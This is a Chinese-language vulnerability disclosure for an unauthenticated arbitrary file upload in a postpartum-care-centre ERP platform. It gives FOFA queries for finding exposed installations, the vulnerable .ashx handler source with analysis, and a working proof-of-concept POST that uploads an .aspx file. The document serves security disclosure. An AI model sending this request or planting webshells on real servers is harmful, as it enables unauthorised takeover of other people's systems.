漏洞简介
月子会所ERP管理云平台是由武汉金同方科技有限公司研发团队结合行业月子中心相关企业需求开发的一套综合性管理软件。月子会所ERP管理云平台的 Page/UploadComponent/UploadComponentHandler.ashx 和 Page/upload/UploadComponentHandler.ashx 接口存在文件上传漏洞,攻击者可利用该漏洞上传webshell获取服务器权限。
fofa语法
body="月子护理ERP管理平台" || body="妈妈宝盒客户端.rar" || body="Page/Login/Login3.aspx" || app="妈妈宝盒-ERP"
漏洞分析
两处出发路径的代码逻辑实现一样,直接看 UploadComponentHandler 的业务逻辑实现
<%@ WebHandler Language="C#" Class="UploadComponentHandler" %>
using System;
using System.Web;
using System.IO;
using System.Configuration;
public class UploadComponentHandler : IHttpHandler {
// static string OosUrl = ConfigurationManager.AppSettings["OosUrl"]+"/";//OOS上传域名地址
static string OOsUrl = ConfigurationManager.AppSettings["uploadOosUrl"];//OOS上传根目录地址
static string url =""; //定义原图上传文件路径
static string Slturl =""; //定义缩略图上传文件路径
static string ErpUrl = ConfigurationManager.AppSettings["uploadErpUrl"];//本地上传根目录下文件夹
static string UploadPosition = ConfigurationManager.AppSettings["UploadPosition"];//上传位置(0:表示本地服务器,1:表示OOS)
static string BdSltUrl = "UploadBaseFolder/Thumbnail";//存储缩略图的本地文件路径根目录文件夹
static string BdYtUrl = "UploadBaseFolder";//存储缩原图的本地文件路径根目录文件夹
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string UploadPositionType = "";
RequestG.GetParams("UploadPositionType", ref UploadPositionType);
if (!string.IsNullOrEmpty(UploadPositionType))
{
UploadPosition = UploadPositionType;//根据上传模块的需求来设置上传位置的参数,可以设置固定上传到oos或者本地
}
if (UploadPosition == "1")//根据webConfig里面参数配置,当为1的时候上传到OOs服务器
{
url=OOsUrl+"/"+DateTime.Now.ToString("yyyyMM")+"/"; //定义OOs上传文件路径
}
else
{
url=ErpUrl+"/"+DateTime.Now.ToString("yyyyMM")+"/"; //定义本地ERP上传文件路径
Slturl=BdSltUrl+"/"+ErpUrl+"/"+DateTime.Now.ToString("yyyyMM")+"/"; //定义本地ERP上传文件路径
}
string a = "";
try
{
HttpFileCollection file = context.Request.Files;//获取选中的文件
for (int i = 0; i < file.Count; i++)
{
string cFileName = Path.GetFileName(file[i].FileName.Trim());
string tuozhanming = cFileName.Substring(cFileName.LastIndexOf(".")).ToLower(); //拓展名
string fileName = cFileName.Substring(0, cFileName.LastIndexOf(".")).ToLower(); //没有拓展名文件名称
string newname = GetNewName(fileName,tuozhanming);//新的文件名称
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(file[i].FileName.Trim());
string cFileType = Path.GetExtension(file[i].FileName.Trim());
if (file == null || string.IsNullOrWhiteSpace(file[i].FileName) || file[i].ContentLength == 0 || cFileType.Length < 2)
{
a = "{\"code\":\"0\",\"src\":\"\",\"name\":\"\",\"msg\":\"上传失败\"}";
context.Response.Write(a);
}
string tmp = file[i].FileName.Trim();
if (UploadPosition == "1")//根据webConfig里面参数配置,当为1的时候上传到OOs服务器
{
System.IO.Stream strem = file[i].InputStream;//将所要上传文件转换成流
OosUpload.PutObjectFromFile(url,newname, strem);//上传文件至oos
a = "{\"code\":\"1\",\"src\":\""+ url + newname + "\",\"name\":\"" + newname + "\",\"msg\":\"上传成功\"}";
}
else //上传到本地服务器
{
var basepath = context.Server.MapPath("../../" + BdYtUrl + "/" + url);//原图绝对路径
if (!Directory.Exists(basepath))
{
Directory.CreateDirectory(basepath);
}
HttpPostedFile mypost = file[i];
mypost.SaveAs(string.Format("{0}/{1}", basepath, newname));//保存文件
var baseSltpath = context.Server.MapPath("../../" + Slturl);//原图绝对路径
if (!Directory.Exists(baseSltpath))
{
Directory.CreateDirectory(baseSltpath);
}
if (tuozhanming==".png"||tuozhanming==".jpg"||tuozhanming==".jepg"||tuozhanming==".bmp") {//图片才需要压缩,其它文件不需要压缩
w_Base.MakeThumbnail(context.Server.MapPath("../../" + BdYtUrl + "/" + url + "/" + newname), context.Server.MapPath("../../" + Slturl + "/" + newname), 120, 130, "DB");
}
a = "{\"code\":\"1\",\"src\":\"" + BdYtUrl + "/" + url + newname + "\",\"name\":\"" + newname + "\",\"msg\":\"上传成功\"}";
}
System.Threading.Thread.Sleep(1000);
context.Response.Write(a);
}
}
catch (Exception)
{
a = "{\"code\":\"-1\",\"src\":\"\",\"name\":\"\",\"msg\":\"上传出错\"}";
context.Response.Write(a);
}
}
public string GetNewName(string fileName, string name)
{
string time = DateTime.Now.ToString("yyMMddHHmmssffff");
return fileName + "_" + time + new Random().Next(000, 999) + name;
}
public bool IsReusable {
get {
return false;
}
}
}
其实注释已经很清楚了
static string UploadPosition = ConfigurationManager.AppSettings["UploadPosition"];//上传位置(0:表示本地服务器,1:表示OOS)
这里根据配置文件里的 UploadPosition 值来决定上传到本地还是OOS上,大多数都是本地。且下面又根据请求参数 UploadPositionType 来重新设置上传位置
string UploadPositionType = "";
RequestG.GetParams("UploadPositionType", ref UploadPositionType);
if (!string.IsNullOrEmpty(UploadPositionType))
{
UploadPosition = UploadPositionType;//根据上传模块的需求来设置上传位置的参数,可以设置固定上传到oos或者本地
}
因此我们只需要在请求中设置 UploadPositionType=0 即可上传到服务器本地。
剩下的就是常规的上传、重命名、对图片后缀进行缩略图处理等,并无特殊后缀过滤,且会回显上传文件路径,造成任意文件上传漏洞。
漏洞复现
POST /Page/upload/UploadComponentHandler.ashx?UploadPositionType=0 HTTP/1.1
Host: mamabaohe.mrxn.net
Content-Type: multipart/form-data; boundary=--WebKitFormBoundaryWPL35TV23dfr1cNr
--WebKitFormBoundaryWPL35TV23dfr1cNr
Content-Disposition: form-data; name="file"; filename="t.aspx"
<%@Page Language="C#"%><%Response.Write(DateTime.Now.ToString());System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
--WebKitFormBoundaryWPL35TV23dfr1cNr--

成功上传测试POC并回显文件路径。


